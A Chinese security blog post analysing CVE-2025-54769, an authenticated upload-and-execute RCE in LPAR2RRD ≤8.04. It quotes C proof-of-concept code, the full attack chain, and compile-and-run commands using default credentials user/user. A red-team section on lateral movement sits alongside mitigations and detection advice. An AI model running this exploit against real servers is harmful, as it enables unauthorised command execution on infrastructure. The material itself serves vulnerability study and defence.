导语:DarkWebInformer 今天披露 LPAR2RRD 远程代码执行漏洞 CVE-2025-54769,CVSS 8.8。受影响版本 ≤ 8.04,8.05 已修复。攻击模型很有意思——一个只读权限的普通用户,靠 upload 一个精心构造的 tar 包到 upgrade 接口,就能让服务端解压后执行任意 shell,把命令输出写到 web 可读目录完成验证。研究员 t4hunt 同步公开了 C 语言 PoC。
一、LPAR2RRD 是什么
LPAR2RRD(Logical Partition Performance Reporting Tool)是 IBM Power Systems 的性能监控与容量规划工具,免费版就能用,企业付费版加告警和长期历史。底层用 RRDtool(轮转数据库工具)存储数据,前端是 Perl CGI。
主要功能:
- 监控 AIX / IBM i / Linux on Power / HMC(硬件管理控制台)的 CPU、内存、I/O、网络
- 收集 VMware vSphere / KVM / Hyper-V 虚拟化层数据
- 容量规划趋势分析
- Web 界面提供监控仪表盘,默认监听 80/443
运维场景:IBM Power 小机房的标配监控工具,暴露在内网或者有 VPN 限定的公网入口。默认安装路径 /home/lpar2rrd/lpar2rrd。
二、漏洞全貌
| 字段 | 值 |
|---|---|
| CVE | CVE-2025-54769 |
| CVSS | 8.8 High |
| 产品 | LPAR2RRD |
| 影响版本 | ≤ 8.04 |
| 修复版本 | ≥ 8.05 |
| 认证要求 | 任意已登录的只读用户 |
| 利用接口 | POST /lpar2rrd-cgi/upgrade.sh |
| 漏洞类型 | CWE-22 路径遍历 + CWE-78 OS 命令注入(通过 update.sh) |
| 披露人 | @DarkWebInformer(推特首发) |
| PoC 作者 | t4hunt(GitHub) |

三、漏洞机制:upload → 解压 → 路径穿越 → RCE
3.1 upgrade.sh 干了什么
/lpar2rrd-cgi/upgrade.sh 是 LPAR2RRD 的升级 CGI 脚本。正常用途是管理员上传新版本 tar 包,脚本解压到安装目录后重启服务。
核心流程:
认证 (HTTP Basic) → 检查角色(只看登录不看角色)→ 接收 tar 包 → 解压到 ${INPUTDIR} → 执行 update.sh
3.2 三个失守点
失守点 1:角色校验缺失
upgrade 接口在认证通过后只看”是否登录”,不校验”是不是 admin”。任何一个只读用户(默认 user/user)都能调用。
失守点 2:tar 解压无路径规范化
服务端用 tar -xf 解包时没对 tar 内路径做规范化。攻击者构造的 tar 里可以包含 ../../../etc/cron.d/... 之类的相对路径,把 update.sh 写到 web 目录之外的地方。
失守点 3:update.sh 无脑执行
解包后脚本会执行 scripts/update.sh。tar 里这个文件可以是任意 shell 脚本,被 web 服务进程的运行身份执行。
3.3 完整攻击链
1. 攻击者用只读账号登录(HTTP Basic)
2. 构造 tar 包:
poc-cve-2025-54769/
└── scripts/
└── update.sh ← 写 whoami 输出到 web 目录
3. POST 到 /lpar2rrd-cgi/upgrade.sh
4. 服务端解压 → update.sh 被执行 → 写文件到 /home/lpar2rrd/lpar2rrd/www/
5. 攻击者 GET /lpar2rrd/cve_2025_54769_<nonce>.txt
6. 拿到 whoami 输出 → RCE 验证完成
四、PoC 解读:t4hunt 的 C 代码怎么跑通
t4hunt 的 PoC(tunahantekeoglu/CVE-2025-54769)只有一个 C 文件 + libcurl,298 行,分四步。
4.1 write_update:写恶意 update.sh
static int write_update(const char *path, const char *nonce) {
FILE *f = fopen(path, "w");
fprintf(f,
"#!/bin/shn"
"set -eun"
"nonce="%s"n"
"target="${INPUTDIR:-/home/lpar2rrd/lpar2rrd}/www/cve_2025_54769_${safe_nonce}.txt"n"
"whoami_out="$(/usr/bin/whoami 2>&1)"n"
"{n"
" printf '%%s\n' "CVE-2025-54769 PoC: ${nonce}"n"
" printf '%%s\n' "whoami=${whoami_out}"n"
"} > "$target"n",
nonce);
fclose(f);
return chmod(path, 0755) == 0;
}
注意 INPUTDIR 这个环境变量——服务端解压脚本时通常会注入这个变量指向安装目录,作者特意 fallback 到默认路径,提高 PoC 兼容性。
4.2 build_tar:打最小 tar 包
snprintf(pkg, sizeof(pkg), "%s/%s", root, PACKAGE_NAME); // PACKAGE_NAME = "poc-cve-2025-54769"
snprintf(scripts, sizeof(scripts), "%s/scripts", pkg);
snprintf(update, sizeof(update), "%s/update.sh", scripts);
snprintf(out, out_len, "%s/%s.tar", root, PACKAGE_NAME);
mkdir(pkg, 0700);
mkdir(scripts, 0700);
write_update(update, nonce);
snprintf(cmd, sizeof(cmd), "/usr/bin/tar -cf '%s' -C '%s' '%s'", out, root, PACKAGE_NAME);
system(cmd);
在 /tmp/cve-2025-54769-XXXXXX/ 建好目录结构,用 mkdtemp 拿到唯一临时目录,再 tar -cf 打包。
4.3 post_tar:上传 tar
snprintf(url, sizeof(url), "%s/lpar2rrd-cgi/upgrade.sh", base);
form = curl_mime_init(curl);
part = curl_mime_addpart(form);
curl_mime_name(part, "upgfile");
curl_mime_filedata(part, tar_path);
curl_mime_filename(part, PACKAGE_NAME ".tar");
curl_mime_type(part, "application/x-tar");
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, auth);
curl_easy_setopt(curl, CURLOPT_MIMEPOST, form);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
HTTP Basic 认证 + MIME multipart 上传,curl 走 libcurl 标准接口。
4.4 get_proof:验证 RCE
snprintf(url, sizeof(url), "%s/lpar2rrd/cve_2025_54769_%s.txt", base, nonce);
curl_easy_perform(curl);
// 然后在 response 里找 "whoami=" 字符串判断 RCE 是否成功
if (proof.buf && strstr(proof.buf, "whoami=")) {
printf("[+] verified: whoami output capturedn");
}
whoami= 是指纹字符串——证明确实是服务端进程执行的命令,而不是缓存或者静态文件。
4.5 预期输出
t4hunt
CVE-2025-54769 LPAR2RRD upgrade RCE PoC
-----------------------------------------
[*] target http://TARGET
[*] nonce t4hunt-...
[*] upload_http 200
[*] proof_http 200
[*] proof_url http://TARGET/lpar2rrd/cve_2025_54769_t4hunt-....txt
[+] verified: whoami output captured
PoC 的”作用域控制”也很到位——只跑 whoami,不反弹 shell、不建账号、不写持久化、不破坏文件。验证完即止,这是负责任披露该有的姿势。
五、修复方案
5.1 官方修复(LPAR2RRD 8.05)
- upgrade 接口加角色校验,只允许 admin
- tar 解压时用
safe_extract拒绝包含..的路径 - update.sh 在受限 chroot(受限根目录)或独立 UID 下执行
5.2 临时缓解
- 网络层:把 LPAR2RRD Web 端口(默认 80/443)限在可信内网/VPN
- 反代层:在 nginx/Apache 上加
location /lpar2rrd-cgi/upgrade.sh { deny all; } - 监控:盯
/home/lpar2rrd/lpar2rrd/www/下突然冒出来的.txt文件 - 凭据:所有默认账号(
user/user、admin/admin)立刻改密码
六、红队视角
6.1 攻击者角度
- 内网横移跳板 — LPAR2RRD 默认装在 IBM Power 机房核心机器上,RCE 后能直接访问 HMC 接口,影响 AIX/IBM i 整个 PowerVM 拓扑
- 凭据复用 — LPAR2RRD 默认账号
user/user在很多老机房一直没改,扫描暴露 80 端口的 LPAR2RRD 直接拿只读权限 - 审计日志绕过 — update.sh 在服务进程上下文执行,日志和正常升级混在一起,蓝队响应慢
6.2 防御方角度
- 立即升级 到 8.05+
- 禁用 upgrade 接口(生产环境基本不需要)
- 分离账号 — 监控用户、admin、API 用户三类分开,只给监控用户只读,绝不共享 admin
- 文件完整性监控 — 在
/home/lpar2rrd/lpar2rrd/www/部署 filewatch,异常 .txt 立刻告警 - 网络隔离 — LPAR2RRD 默认监听 0.0.0.0:80,生产应该改 listen 127.0.0.1 + 反代
七、思考题
- LPAR2RRD 8.04 的修复很可能不是简单的”加 if 校验”,而是要重构 upgrade 接口(限角色 + 限路径 + chroot)。从 t4hunt 的 PoC 看,哪一项修复能直接阻断这个 PoC?为什么?
- CVE-2025-54769 的攻击者上传的是 .tar,如果是 .tar.gz / .zip / .tgz 会不会同样受影响?LPAR2RRD 解压不同归档格式时分别走哪条代码路径?
- 这类”upload → extract → execute”漏洞在企业产品里非常常见(CVE-2025-54769 只是冰山一角)。能想到哪些类似的设计模式陷阱?CWE 数据库里有没有专门归类?
- 假设你给客户的 LPAR2RRD 部署在公网且未修复,用 t4hunt 这个 PoC 实际跑一遍会留下什么日志痕迹?怎么在 ELK/Splunk 里写检测规则?
八、附录:PoC 下载与使用
1. 原文出处
- Twitter 首发:https://x.com/DarkWebInformer/status/2107528087793463792
- 跟帖讨论(@tuffbrownboy):https://x.com/tuffbrownboy/status/2107528493416517712
2. PoC 仓库
- GitHub:https://github.com/tunahantekeoglu/CVE-2025-54769
- 作者:t4hunt
3. 编译与使用
# 克隆 PoC 仓库
git clone https://github.com/tunahantekeoglu/CVE-2025-54769
cd CVE-2025-54769
# 编译(需要 libcurl 开发包)
cc -Wall -Wextra -O2 -o CVE-2025-54769 CVE-2025-54769.c -lcurl
# 跑(必须是有权限的目标系统,默认账号 user/user)
./CVE-2025-54769
-u http://TARGET
-a user:user
-n t4hunt-$(date +%s)
4. 验证标志
成功标志:输出 [+] verified: whoami output captured,且 proof URL 能下载到包含 whoami= 行的文本文件。














暂无评论内容